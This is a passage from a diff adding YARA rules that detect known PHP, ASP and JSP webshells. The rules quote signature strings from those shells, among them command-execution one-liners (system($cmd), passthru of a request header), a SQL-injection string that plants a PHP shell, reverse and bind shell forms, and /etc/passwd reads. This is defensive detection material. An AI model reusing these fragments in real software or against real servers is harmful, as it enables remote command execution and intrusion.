+		$s16 = "echo \"<head><title>Safe Mode Shell</title></head>\"; " fullword
+	condition:
+		3 of them
+}
+rule WebShell_Liz0ziM_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit {
+	meta:
+		description = "PHP Webshells Github Archive - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php"
+		author = "Florian Roth"
+		hash = "b2b797707e09c12ff5e632af84b394ad41a46fa4"
+	strings:
+		$s4 = "$liz0zim=shell_exec($_POST[liz0]); " fullword
+		$s6 = "$liz0=shell_exec($_POST[baba]); " fullword
+		$s9 = "echo \"<b><font color=blue>Liz0ziM Private Safe Mode Command Execuriton Bypass E"
+		$s12 = " :=) :</font><select size=\"1\" name=\"liz0\">" fullword
+		$s13 = "<option value=\"cat /etc/passwd\">/etc/passwd</option>" fullword
+	condition:
+		1 of them
+}
+rule WebShell_php_backdoor {
+	meta:
+		description = "PHP Webshells Github Archive - file php-backdoor.php"
+		author = "Florian Roth"
+		hash = "b190c03af4f3fb52adc20eb0f5d4d151020c74fe"
+	strings:
+		$s5 = "http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix" fullword
+		$s6 = "// a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombi"
+		$s11 = "if(!isset($_REQUEST['dir'])) die('hey,specify directory!');" fullword
+		$s13 = "else echo \"<a href='$PHP_SELF?f=$d/$dir'><font color=black>\";" fullword
+		$s15 = "<pre><form action=\"<? echo $PHP_SELF; ?>\" METHOD=GET >execute command: <input "
+	condition:
+		1 of them
+}
+rule WebShell_Worse_Linux_Shell {
+	meta:
+		description = "PHP Webshells Github Archive - file Worse Linux Shell.php"
+		author = "Florian Roth"
+		hash = "64623ab1246bc8f7d256b25f244eb2b41f543e96"
+	strings:
+		$s4 = "if( $_POST['_act'] == \"Upload!\" ) {" fullword
+		$s5 = "print \"<center><h1>#worst @dal.net</h1></center>\";" fullword
+		$s7 = "print \"<center><h1>Linux Shells</h1></center>\";" fullword
+		$s8 = "$currentCMD = \"ls -la\";" fullword
+		$s14 = "print \"<tr><td><b>System type:</b></td><td>$UName</td></tr>\";" fullword
+		$s19 = "$currentCMD = str_replace(\"\\\\\\\\\",\"\\\\\",$_POST['_cmd']);" fullword
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_pHpINJ {
+	meta:
+		description = "PHP Webshells Github Archive - file pHpINJ.php"
+		author = "Florian Roth"
+		hash = "75116bee1ab122861b155cc1ce45a112c28b9596"
+	strings:
+		$s3 = "echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />';" fullword
+		$s10 = "<form action = \"<?php echo \"$_SERVER[PHP_SELF]\" ; ?>\" method = \"post\">" fullword
+		$s11 = "$sql = \"0' UNION SELECT '0' , '<? system(\\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 IN"
+		$s13 = "Full server path to a writable file which will contain the Php Shell <br />" fullword
+		$s14 = "$expurl= $url.\"?id=\".$sql ;" fullword
+		$s15 = "<header>||   .::News PHP Shell Injection::.   ||</header> <br /> <br />" fullword
+		$s16 = "<input type = \"submit\" value = \"Create Exploit\"> <br /> <br />" fullword
+	condition:
+		1 of them
+}
+rule WebShell_php_webshells_NGH {
+	meta:
+		description = "PHP Webshells Github Archive - file NGH.php"
+		author = "Florian Roth"
+		hash = "c05b5deecfc6de972aa4652cb66da89cfb3e1645"
+	strings:
+		$s0 = "<title>Webcommander at <?=$_SERVER[\"HTTP_HOST\"]?></title>" fullword
+		$s2 = "/* Webcommander by Cr4sh_aka_RKL v0.3.9 NGH edition :p */" fullword
+		$s5 = "<form action=<?=$script?>?act=bindshell method=POST>" fullword
+		$s9 = "<form action=<?=$script?>?act=backconnect method=POST>" fullword
+		$s11 = "<form action=<?=$script?>?act=mkdir method=POST>" fullword
+		$s16 = "die(\"<font color=#DF0000>Login error</font>\");" fullword
+		$s20 = "<b>Bind /bin/bash at port: </b><input type=text name=port size=8>" fullword
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_matamu {
+	meta:
+		description = "PHP Webshells Github Archive - file matamu.php"
+		author = "Florian Roth"
+		hash = "d477aae6bd2f288b578dbf05c1c46b3aaa474733"
+	strings:
+		$s2 = "$command .= ' -F';" fullword
+		$s3 = "/* We try and match a cd command. */" fullword
+		$s4 = "directory... Trust me - it works :-) */" fullword
+		$s5 = "$command .= \" 1> $tmpfile 2>&1; \" ." fullword
+		$s10 = "$new_dir = $regs[1]; // 'cd /something/...'" fullword
+		$s16 = "/* The last / in work_dir were the first charecter." fullword
+	condition:
+		2 of them
+}
+rule WebShell_ru24_post_sh {
+	meta:
+		description = "PHP Webshells Github Archive - file ru24_post_sh.php"
+		author = "Florian Roth"
+		hash = "d2c18766a1cd4dda928c12ff7b519578ccec0769"
+	strings:
+		$s1 = "http://www.ru24-team.net" fullword
+		$s4 = "if ((!$_POST['cmd']) || ($_POST['cmd']==\"\")) { $_POST['cmd']=\"id;pwd;uname -a"
+		$s6 = "Ru24PostWebShell"
+		$s7 = "Writed by DreAmeRz" fullword
+		$s9 = "$function=passthru; // system, exec, cmd" fullword
+	condition:
+		1 of them
+}
+rule WebShell_hiddens_shell_v1 {
+	meta:
+		description = "PHP Webshells Github Archive - file hiddens shell v1.php"
+		author = "Florian Roth"
+		hash = "1674bd40eb98b48427c547bf9143aa7fbe2f4a59"
+	strings:
+		$s0 = "<?$d='G7mHWQ9vvXiL/QX2oZ2VTDpo6g3FYAa6X+8DMIzcD0eHZaBZH7jFpZzUz7XNenxSYvBP2Wy36U"
+	condition:
+		all of them
+}
+rule WebShell_c99_madnet {
+	meta:
+		description = "PHP Webshells Github Archive - file c99_madnet.php"
+		author = "Florian Roth"
+		hash = "17613df393d0a99fd5bea18b2d4707f566cff219"
+	strings:
+		$s0 = "$md5_pass = \"\"; //If no pass then hash" fullword
+		$s1 = "eval(gzinflate(base64_decode('"
+		$s2 = "$pass = \"pass\";  //Pass" fullword
+		$s3 = "$login = \"user\"; //Login" fullword
+		$s4 = "             //Authentication" fullword
+	condition:
+		all of them
+}
+rule WebShell_c99_locus7s {
+	meta:
+		description = "PHP Webshells Github Archive - file c99_locus7s.php"
+		author = "Florian Roth"
+		hash = "d413d4700daed07561c9f95e1468fb80238fbf3c"
+	strings:
+		$s8 = "$encoded = base64_encode(file_get_contents($d.$f)); " fullword
+		$s9 = "$file = $tmpdir.\"dump_\".getenv(\"SERVER_NAME\").\"_\".$db.\"_\".date(\"d-m-Y"
+		$s10 = "else {$tmp = htmlspecialchars(\"./dump_\".getenv(\"SERVER_NAME\").\"_\".$sq"
+		$s11 = "$c99sh_sourcesurl = \"http://locus7s.com/\"; //Sources-server " fullword
+		$s19 = "$nixpwdperpage = 100; // Get first N lines from /etc/passwd " fullword
+	condition:
+		2 of them
+}
+rule WebShell_JspWebshell_1_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file JspWebshell_1.2.php"
+		author = "Florian Roth"
+		hash = "0bed4a1966117dd872ac9e8dceceb54024a030fa"
+	strings:
+		$s0 = "System.out.println(\"CreateAndDeleteFolder is error:\"+ex); " fullword
+		$s1 = "String password=request.getParameter(\"password\");" fullword
+		$s3 = "<%@ page contentType=\"text/html; charset=GBK\" language=\"java\" import=\"java."
+		$s7 = "String editfile=request.getParameter(\"editfile\");" fullword
+		$s8 = "//String tempfilename=request.getParameter(\"file\");" fullword
+		$s12 = "password = (String)session.getAttribute(\"password\");" fullword
+	condition:
+		3 of them
+}
+rule WebShell_safe0ver {
+	meta:
+		description = "PHP Webshells Github Archive - file safe0ver.php"
+		author = "Florian Roth"
+		hash = "366639526d92bd38ff7218b8539ac0f154190eb8"
+	strings:
+		$s3 = "$scriptident = \"$scriptTitle By Evilc0der.com\";" fullword
+		$s4 = "while (file_exists(\"$lastdir/newfile$i.txt\"))" fullword
+		$s5 = "else { /* <!-- Then it must be a File... --> */" fullword
+		$s7 = "$contents .= htmlentities( $line ) ;" fullword
+		$s8 = "<br><p><br>Safe Mode ByPAss<p><form method=\"POST\">" fullword
+		$s14 = "elseif ( $cmd==\"upload\" ) { /* <!-- Upload File form --> */ " fullword
+		$s20 = "/* <!-- End of Actions --> */" fullword
+	condition:
+		3 of them
+}
+rule WebShell_Uploader {
+	meta:
+		description = "PHP Webshells Github Archive - file Uploader.php"
+		author = "Florian Roth"
+		hash = "e216c5863a23fde8a449c31660fd413d77cce0b7"
+	strings:
+		$s1 = "move_uploaded_file($userfile, \"entrika.php\"); " fullword
+	condition:
+		all of them
+}
+rule WebShell_php_webshells_kral {
+	meta:
+		description = "PHP Webshells Github Archive - file kral.php"
+		author = "Florian Roth"
+		hash = "4cd1d1a2fd448cecc605970e3a89f3c2e5c80dfc"
+	strings:
+		$s1 = "$adres=gethostbyname($ip);" fullword
+		$s3 = "curl_setopt($ch,CURLOPT_POSTFIELDS,\"domain=\".$site);" fullword
+		$s4 = "$ekle=\"/index.php?option=com_user&view=reset&layout=confirm\";" fullword
+		$s16 = "echo $son.' <br> <font color=\"green\">Access</font><br>';" fullword
+		$s17 = "<p>kodlama by <a href=\"mailto:priv8coder@gmail.com\">BLaSTER</a><br /"
+		$s20 = "<p><strong>Server listeleyici</strong><br />" fullword
+	condition:
+		2 of them
+}
+rule WebShell_cgitelnet {
+	meta:
+		description = "PHP Webshells Github Archive - file cgitelnet.php"
+		author = "Florian Roth"
+		hash = "72e5f0e4cd438e47b6454de297267770a36cbeb3"
+	strings:
+		$s9 = "# Author Homepage: http://www.rohitab.com/" fullword
+		$s10 = "elsif($Action eq \"command\") # user wants to run a command" fullword
+		$s18 = "# in a command line on Windows NT." fullword
+		$s20 = "print \"Transfered $TargetFileSize Bytes.<br>\";" fullword
+	condition:
+		2 of them
+}
+rule WebShell_simple_backdoor {
+	meta:
+		description = "PHP Webshells Github Archive - file simple-backdoor.php"
+		author = "Florian Roth"
+		hash = "edcd5157a68fa00723a506ca86d6cbb8884ef512"
+	strings:
+		$s0 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->" fullword
+		$s1 = "<!--    http://michaeldaw.org   2006    -->" fullword
+		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword
+		$s3 = "        echo \"</pre>\";" fullword
+		$s4 = "        $cmd = ($_REQUEST['cmd']);" fullword
+		$s5 = "        echo \"<pre>\";" fullword
+		$s6 = "if(isset($_REQUEST['cmd'])){" fullword
+		$s7 = "        die;" fullword
+		$s8 = "        system($cmd);" fullword
+	condition:
+		all of them
+}
+rule WebShell_Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php"
+		author = "Florian Roth"
+		hash = "8fdd4e0e87c044177e9e1c97084eb5b18e2f1c25"
+	strings:
+		$s1 = "<option value=\"/etc/passwd\">Get /etc/passwd</option>" fullword
+		$s3 = "xb5@hotmail.com</FONT></CENTER></B>\");" fullword
+		$s4 = "$v = @ini_get(\"open_basedir\");" fullword
+		$s6 = "by PHP Emperor<xb5@hotmail.com>" fullword
+	condition:
+		2 of them
+}
+rule WebShell_NTDaddy_v1_9 {
+	meta:
+		description = "PHP Webshells Github Archive - file NTDaddy v1.9.php"
+		author = "Florian Roth"
+		hash = "79519aa407fff72b7510c6a63c877f2e07d7554b"
+	strings:
+		$s2 = "|     -obzerve : mr_o@ihateclowns.com |" fullword
+		$s6 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword
+		$s13 = "<form action=ntdaddy.asp method=post>" fullword
+		$s17 = "response.write(\"<ERROR: THIS IS NOT A TEXT FILE>\")" fullword
+	condition:
+		2 of them
+}
+rule WebShell_lamashell {
+	meta:
+		description = "PHP Webshells Github Archive - file lamashell.php"
+		author = "Florian Roth"
+		hash = "b71181e0d899b2b07bc55aebb27da6706ea1b560"
+	strings:
+		$s0 = "if(($_POST['exe']) == \"Execute\") {" fullword
+		$s8 = "$curcmd = $_POST['king'];" fullword
+		$s16 = "\"http://www.w3.org/TR/html4/loose.dtd\">" fullword
+		$s18 = "<title>lama's'hell v. 3.0</title>" fullword
+		$s19 = "_|_  O    _    O  _|_" fullword
+		$s20 = "$curcmd = \"ls -lah\";" fullword
+	condition:
+		2 of them
+}
+rule WebShell_Simple_PHP_backdoor_by_DK {
+	meta:
+		description = "PHP Webshells Github Archive - file Simple_PHP_backdoor_by_DK.php"
+		author = "Florian Roth"
+		hash = "03f6215548ed370bec0332199be7c4f68105274e"
+	strings:
+		$s0 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->" fullword
+		$s1 = "<!--    http://michaeldaw.org   2006    -->" fullword
+		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword
+		$s6 = "if(isset($_REQUEST['cmd'])){" fullword
+		$s8 = "system($cmd);" fullword
+	condition:
+		2 of them
+}
+rule WebShell_Moroccan_Spamers_Ma_EditioN_By_GhOsT {
+	meta:
+		description = "PHP Webshells Github Archive - file Moroccan Spamers Ma-EditioN By GhOsT.php"
+		author = "Florian Roth"
+		hash = "31e5473920a2cc445d246bc5820037d8fe383201"
+	strings:
+		$s4 = "$content = chunk_split(base64_encode($content)); " fullword
+		$s12 = "print \"Sending mail to $to....... \"; " fullword
+		$s16 = "if (!$from && !$subject && !$message && !$emaillist){ " fullword
+	condition:
+		all of them
+}
+rule WebShell_C99madShell_v__2_0_madnet_edition {
+	meta:
+		description = "PHP Webshells Github Archive - file C99madShell v. 2.0 madnet edition.php"
+		author = "Florian Roth"
+		hash = "f99f8228eb12746847f54bad45084f19d1a7e111"
+	strings:
+		$s0 = "$md5_pass = \"\"; //If no pass then hash" fullword
+		$s1 = "eval(gzinflate(base64_decode('"
+		$s2 = "$pass = \"\";  //Pass" fullword
+		$s3 = "$login = \"\"; //Login" fullword
+		$s4 = "//Authentication" fullword
+	condition:
+		all of them
+}
+rule WebShell_CmdAsp_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - file CmdAsp.asp.php.txt"
+		author = "Florian Roth"
+		hash = "cb18e1ac11e37e236e244b96c2af2d313feda696"
+	strings:
+		$s1 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword
+		$s4 = "' Author: Maceo <maceo @ dogmile.com>" fullword
+		$s5 = "' -- Use a poor man's pipe ... a temp file -- '" fullword
+		$s6 = "' --------------------o0o--------------------" fullword
+		$s8 = "' File: CmdAsp.asp" fullword
+		$s11 = "<-- CmdAsp.asp -->" fullword
+		$s14 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword
+		$s16 = "Set oScriptNet = Server.CreateObject(\"WSCRIPT.NETWORK\")" fullword
+		$s19 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
+	condition:
+		4 of them
+}
+rule WebShell_NCC_Shell {
+	meta:
+		description = "PHP Webshells Github Archive - file NCC-Shell.php"
+		author = "Florian Roth"
+		hash = "64d4495875a809b2730bd93bec2e33902ea80a53"
+	strings:
+		$s0 = " if (isset($_FILES['probe']) and ! $_FILES['probe']['error']) {" fullword
+		$s1 = "<b>--Coded by Silver" fullword
+		$s2 = "<title>Upload - Shell/Datei</title>" fullword
+		$s8 = "<a href=\"http://www.n-c-c.6x.to\" target=\"_blank\">-->NCC<--</a></center></b><"
+		$s14 = "~|_Team .:National Cracker Crew:._|~<br>" fullword
+		$s18 = "printf(\"Sie ist %u Bytes gro" fullword
+	condition:
+		3 of them
+}
+rule WebShell_php_webshells_README {
+	meta:
+		description = "PHP Webshells Github Archive - file README.md"
+		author = "Florian Roth"
+		hash = "ef2c567b4782c994db48de0168deb29c812f7204"
+	strings:
+		$s0 = "Common php webshells. Do not host the file(s) in your server!" fullword
+		$s1 = "php-webshells" fullword
+	condition:
+		all of them
+}
+rule WebShell_backupsql {
+	meta:
+		description = "PHP Webshells Github Archive - file backupsql.php"
+		author = "Florian Roth"
+		hash = "863e017545ec8e16a0df5f420f2d708631020dd4"
+	strings:
+		$s0 = "$headers .= \"\\nMIME-Version: 1.0\\n\" .\"Content-Type: multipart/mixed;\\n\" ."
+		$s1 = "$ftpconnect = \"ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog"
+		$s2 = "* as email attachment, or send to a remote ftp server by" fullword
+		$s16 = "* Neagu Mihai<neagumihai@hotmail.com>" fullword
+		$s17 = "$from    = \"Neu-Cool@email.com\";  // Who should the emails be sent from?, may "
+	condition:
+		2 of them
+}
+rule WebShell_AK_74_Security_Team_Web_Shell_Beta_Version {
+	meta:
+		description = "PHP Webshells Github Archive - file AK-74 Security Team Web Shell Beta Version.php"
+		author = "Florian Roth"
+		hash = "c90b0ba575f432ecc08f8f292f3013b5532fe2c4"
+	strings:
+		$s8 = "- AK-74 Security Team Web Site: www.ak74-team.net" fullword
+		$s9 = "<b><font color=#830000>8. X Forwarded For IP - </font></b><font color=#830000>'."
+		$s10 = "<b><font color=#83000>Execute system commands!</font></b>" fullword
+	condition:
+		1 of them
+}
+rule WebShell_php_webshells_cpanel {
+	meta:
+		description = "PHP Webshells Github Archive - file cpanel.php"
+		author = "Florian Roth"
+		hash = "433dab17106b175c7cf73f4f094e835d453c0874"
+	strings:
+		$s0 = "function ftp_check($host,$user,$pass,$timeout){" fullword
+		$s3 = "curl_setopt($ch, CURLOPT_URL, \"http://$host:2082\");" fullword
+		$s4 = "[ user@alturks.com ]# info<b><br><font face=tahoma><br>" fullword
+		$s12 = "curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);" fullword
+		$s13 = "Powerful tool , ftp and cPanel brute forcer , php 5.2.9 safe_mode & open_basedir"
+		$s20 = "<br><b>Please enter your USERNAME and PASSWORD to logon<br>" fullword
+	condition:
+		2 of them
+}
+rule WebShell_accept_language {
+	meta:
+		description = "PHP Webshells Github Archive - file accept_language.php"
+		author = "Florian Roth"
+		hash = "180b13576f8a5407ab3325671b63750adbcb62c9"
+	strings:
+		$s0 = "<?php passthru(getenv(\"HTTP_ACCEPT_LANGUAGE\")); echo '<br> by q1w2e3r4'; ?>" fullword
+	condition:
+		all of them
+}
+rule WebShell_php_webshells_529 {
+	meta:
+		description = "PHP Webshells Github Archive - file 529.php"
+		author = "Florian Roth"
+		hash = "ba3fb2995528307487dff7d5b624d9f4c94c75d3"
+	strings:
+		$s0 = "<p>More: <a href=\"/\">Md5Cracking.Com Crew</a> " fullword
+		$s7 = "href=\"/\" title=\"Securityhouse\">Security House - Shell Center - Edited By Kin"
+		$s9 = "echo '<PRE><P>This is exploit from <a " fullword
+		$s10 = "This Exploit Was Edited By KingDefacer" fullword
+		$s13 = "safe_mode and open_basedir Bypass PHP 5.2.9 " fullword
+		$s14 = "$hardstyle = explode(\"/\", $file); " fullword
+		$s20 = "while($level--) chdir(\"..\"); " fullword
+	condition:
+		2 of them
+}
+rule WebShell_STNC_WebShell_v0_8 {
+	meta:
+		description = "PHP Webshells Github Archive - file STNC WebShell v0.8.php"
+		author = "Florian Roth"
+		hash = "52068c9dff65f1caae8f4c60d0225708612bb8bc"
+	strings:
+		$s3 = "if(isset($_POST[\"action\"])) $action = $_POST[\"action\"];" fullword
+		$s8 = "elseif(fe(\"system\")){ob_start();system($s);$r=ob_get_contents();ob_end_clean()"
+		$s13 = "{ $pwd = $_POST[\"pwd\"]; $type = filetype($pwd); if($type === \"dir\")chdir($pw"
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_tryag {
+	meta:
+		description = "PHP Webshells Github Archive - file tryag.php"
+		author = "Florian Roth"
+		hash = "42d837e9ab764e95ed11b8bd6c29699d13fe4c41"
+	strings:
+		$s1 = "<title>TrYaG Team - TrYaG.php - Edited By KingDefacer</title>" fullword
+		$s3 = "$tabledump = \"DROP TABLE IF EXISTS $table;\\n\"; " fullword
+		$s6 = "$string = !empty($_POST['string']) ? $_POST['string'] : 0; " fullword
+		$s7 = "$tabledump .= \"CREATE TABLE $table (\\n\"; " fullword
+		$s14 = "echo \"<center><div id=logostrip>Edit file: $editfile </div><form action='$REQUE"
+	condition:
+		3 of them
+}
+rule WebShell_dC3_Security_Crew_Shell_PRiV_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file dC3 Security Crew Shell PRiV.php"
+		author = "Florian Roth"
+		hash = "9077eb05f4ce19c31c93c2421430dd3068a37f17"
+	strings:
+		$s0 = "@rmdir($_GET['file']) or die (\"[-]Error deleting dir!\");" fullword
+		$s9 = "header(\"Last-Modified: \".date(\"r\",filemtime(__FILE__)));" fullword
+		$s13 = "header(\"Content-type: image/gif\");" fullword
+		$s14 = "@copy($file,$to) or die (\"[-]Error copying file!\");" fullword
+		$s20 = "if (isset($_GET['rename_all'])) {" fullword
+	condition:
+		3 of them
+}
+rule WebShell_qsd_php_backdoor {
+	meta:
+		description = "PHP Webshells Github Archive - file qsd-php-backdoor.php"
+		author = "Florian Roth"
+		hash = "4856bce45fc5b3f938d8125f7cdd35a8bbae380f"
+	strings:
+		$s1 = "// A robust backdoor script made by Daniel Berliner - http://www.qsdconsulting.c"
+		$s2 = "if(isset($_POST[\"newcontent\"]))" fullword
+		$s3 = "foreach($parts as $val)//Assemble the path back together" fullword
+		$s7 = "$_POST[\"newcontent\"]=urldecode(base64_decode($_POST[\"newcontent\"]));" fullword
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_spygrup {
+	meta:
+		description = "PHP Webshells Github Archive - file spygrup.php"
+		author = "Florian Roth"
+		hash = "12f9105332f5dc5d6360a26706cd79afa07fe004"
+	strings:
+		$s2 = "kingdefacer@msn.com</FONT></CENTER></B>\");" fullword
+		$s6 = "if($_POST['root']) $root = $_POST['root'];" fullword
+		$s12 = "\".htmlspecialchars($file).\" Bu Dosya zaten Goruntuleniyor<kingdefacer@msn.com>" fullword
+		$s18 = "By KingDefacer From Spygrup.org>" fullword
+	condition:
+		3 of them
+}
+rule WebShell_Web_shell__c_ShAnKaR {
+	meta:
+		description = "PHP Webshells Github Archive - file Web-shell (c)ShAnKaR.php"
+		author = "Florian Roth"
+		hash = "3dd4f25bd132beb59d2ae0c813373c9ea20e1b7a"
+	strings:
+		$s0 = "header(\"Content-Length: \".filesize($_POST['downf']));" fullword
+		$s5 = "if($_POST['save']==0){echo \"<textarea cols=70 rows=10>\".htmlspecialchars($dump"
+		$s6 = "write(\"#\\n#Server : \".getenv('SERVER_NAME').\"" fullword
+		$s12 = "foreach(@file($_POST['passwd']) as $fed)echo $fed;" fullword
+	condition:
+		2 of them
+}
+rule WebShell_Ayyildiz_Tim___AYT__Shell_v_2_1_Biz {
+	meta:
+		description = "PHP Webshells Github Archive - file Ayyildiz Tim  -AYT- Shell v 2.1 Biz.php"
+		author = "Florian Roth"
+		hash = "5fe8c1d01dc5bc70372a8a04410faf8fcde3cb68"
+	strings:
+		$s7 = "<meta name=\"Copyright\" content=TouCh By iJOo\">" fullword
+		$s11 = "directory... Trust me - it works :-) */" fullword
+		$s15 = "/* ls looks much better with ' -F', IMHO. */" fullword
+		$s16 = "} else if ($command == 'ls') {" fullword
+	condition:
+		3 of them
+}
+rule WebShell_Gamma_Web_Shell {
+	meta:
+		description = "PHP Webshells Github Archive - file Gamma Web Shell.php"
+		author = "Florian Roth"
+		hash = "7ef773df7a2f221468cc8f7683e1ace6b1e8139a"
+	strings:
+		$s4 = "$ok_commands = ['ls', 'ls -l', 'pwd', 'uptime'];" fullword
+		$s8 = "### Gamma Group <http://www.gammacenter.com>" fullword
+		$s15 = "my $error = \"This command is not available in the restricted mode.\\n\";" fullword
+		$s20 = "my $command = $self->query('command');" fullword
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_aspydrv {
+	meta:
+		description = "PHP Webshells Github Archive - file aspydrv.php"
+		author = "Florian Roth"
+		hash = "3d8996b625025dc549d73cdb3e5fa678ab35d32a"
+	strings:
+		$s0 = "Target = \"D:\\hshome\\masterhr\\masterhr.com\\\"  ' ---Directory to which files"
+		$s1 = "nPos = InstrB(nPosEnd, biData, CByteString(\"Content-Type:\"))" fullword
+		$s3 = "Document.frmSQL.mPage.value = Document.frmSQL.mPage.value - 1" fullword
+		$s17 = "If request.querystring(\"getDRVs\")=\"@\" then" fullword
+		$s20 = "' ---Copy Too Folder routine Start" fullword
+	condition:
+		3 of them
+}
+rule WebShell_JspWebshell_1_2_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file JspWebshell 1.2.php"
+		author = "Florian Roth"
+		hash = "184fc72b51d1429c44a4c8de43081e00967cf86b"
+	strings:
+		$s0 = "System.out.println(\"CreateAndDeleteFolder is error:\"+ex); " fullword
+		$s3 = "<%@ page contentType=\"text/html; charset=GBK\" language=\"java\" import=\"java."
+		$s4 = "// String tempfilepath=request.getParameter(\"filepath\");" fullword
+		$s15 = "endPoint=random1.getFilePointer();" fullword
+		$s20 = "if (request.getParameter(\"command\") != null) {" fullword
+	condition:
+		3 of them
+}
+rule WebShell_g00nshell_v1_3 {
+	meta:
+		description = "PHP Webshells Github Archive - file g00nshell-v1.3.php"
+		author = "Florian Roth"
+		hash = "70fe072e120249c9e2f0a8e9019f984aea84a504"
+	strings:
+		$s10 = "#To execute commands, simply include ?cmd=___ in the url. #" fullword
+		$s15 = "$query = \"SHOW COLUMNS FROM \" . $_GET['table'];" fullword
+		$s16 = "$uakey = \"724ea055b975621b9d679f7077257bd9\"; // MD5 encoded user-agent" fullword
+		$s17 = "echo(\"<form method='GET' name='shell'>\");" fullword
+		$s18 = "echo(\"<form method='post' action='?act=sql'>\");" fullword
+	condition:
+		2 of them
+}
+rule WebShell_WinX_Shell {
+	meta:
+		description = "PHP Webshells Github Archive - file WinX Shell.php"
+		author = "Florian Roth"
+		hash = "a94d65c168344ad9fa406d219bdf60150c02010e"
+	strings:
+		$s4 = "// It's simple shell for all Win OS." fullword
+		$s5 = "//------- [netstat -an] and [ipconfig] and [tasklist] ------------" fullword
+		$s6 = "<html><head><title>-:[GreenwooD]:- WinX Shell</title></head>" fullword
+		$s13 = "// Created by greenwood from n57" fullword
+		$s20 = " if (is_uploaded_file($userfile)) {" fullword
+	condition:
+		3 of them
+}
+rule WebShell_PHANTASMA {
+	meta:
+		description = "PHP Webshells Github Archive - file PHANTASMA.php"
+		author = "Florian Roth"
+		hash = "cd12d42abf854cd34ff9e93a80d464620af6d75e"
+	strings:
+		$s12 = "\"    printf(\\\"Usage: %s [Host] <port>\\\\n\\\", argv[0]);\\n\" ." fullword
+		$s15 = "if ($portscan != \"\") {" fullword
+		$s16 = "echo \"<br>Banner: $get <br><br>\";" fullword
+		$s20 = "$dono = get_current_user( );" fullword
+	condition:
+		3 of them
+}
+rule WebShell_php_webshells_cw {
+	meta:
+		description = "PHP Webshells Github Archive - file cw.php"
+		author = "Florian Roth"
+		hash = "e65e0670ef6edf0a3581be6fe5ddeeffd22014bf"
+	strings:
+		$s1 = "// Dump Database [pacucci.com]" fullword
+		$s2 = "$dump = \"-- Database: \".$_POST['db'] .\" \\n\";" fullword
+		$s7 = "$aids = passthru(\"perl cbs.pl \".$_POST['connhost'].\" \".$_POST['connport']);" fullword
+		$s8 = "<b>IP:</b> <u>\" . $_SERVER['REMOTE_ADDR'] .\"</u> - Server IP:</b> <a href='htt"
+		$s14 = "$dump .= \"-- Cyber-Warrior.Org\\n\";" fullword
+		$s20 = "if(isset($_POST['doedit']) && $_POST['editfile'] != $dir)" fullword
+	condition:
+		3 of them
+}
+rule WebShell_php_include_w_shell {
+	meta:
+		description = "PHP Webshells Github Archive - file php-include-w-shell.php"
+		author = "Florian Roth"
+		hash = "1a7f4868691410830ad954360950e37c582b0292"
+	strings:
+		$s13 = "# dump variables (DEBUG SCRIPT) NEEDS MODIFINY FOR B64 STATUS!!" fullword
+		$s17 = "\"phpshellapp\" => \"export TERM=xterm; bash -i\"," fullword
+		$s19 = "else if($numhosts == 1) $strOutput .= \"On 1 host..\\n\";" fullword
+	condition:
+		1 of them
+}
+rule WebShell_mysql_tool {
+	meta:
+		description = "PHP Webshells Github Archive - file mysql_tool.php"
+		author = "Florian Roth"
+		hash = "c9cf8cafcd4e65d1b57fdee5eef98f0f2de74474"
+	strings:
+		$s12 = "$dump .= \"-- Dumping data for table '$table'\\n\";" fullword
+		$s20 = "$dump .= \"CREATE TABLE $table (\\n\";" fullword
+	condition:
+		2 of them
+}
+rule WebShell_PhpSpy_Ver_2006 {
+	meta:
+		description = "PHP Webshells Github Archive - file PhpSpy Ver 2006.php"
+		author = "Florian Roth"
+		hash = "34a89e0ab896c3518d9a474b71ee636ca595625d"
+	strings:
+		$s2 = "var_dump(@$shell->RegRead($_POST['readregname']));" fullword
+		$s12 = "$prog = isset($_POST['prog']) ? $_POST['prog'] : \"/c net start > \".$pathname."
+		$s19 = "$program = isset($_POST['program']) ? $_POST['program'] : \"c:\\winnt\\system32"
+		$s20 = "$regval = isset($_POST['regval']) ? $_POST['regval'] : 'c:\\winnt\\backdoor.exe'"
+	condition:
+		1 of them
+}
+rule WebShell_ZyklonShell {
+	meta:
+		description = "PHP Webshells Github Archive - file ZyklonShell.php"
+		author = "Florian Roth"
+		hash = "3fa7e6f3566427196ac47551392e2386a038d61c"
+	strings:
+		$s0 = "The requested URL /Nemo/shell/zyklonshell.txt was not found on this server.<P>" fullword
+		$s1 = "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">" fullword
+		$s2 = "<TITLE>404 Not Found</TITLE>" fullword
+		$s3 = "<H1>Not Found</H1>" fullword
+	condition:
+		all of them
+}
+rule WebShell_php_webshells_myshell {
+	meta:
+		description = "PHP Webshells Github Archive - file myshell.php"
+		author = "Florian Roth"
+		hash = "5bd52749872d1083e7be076a5e65ffcde210e524"
+	strings:
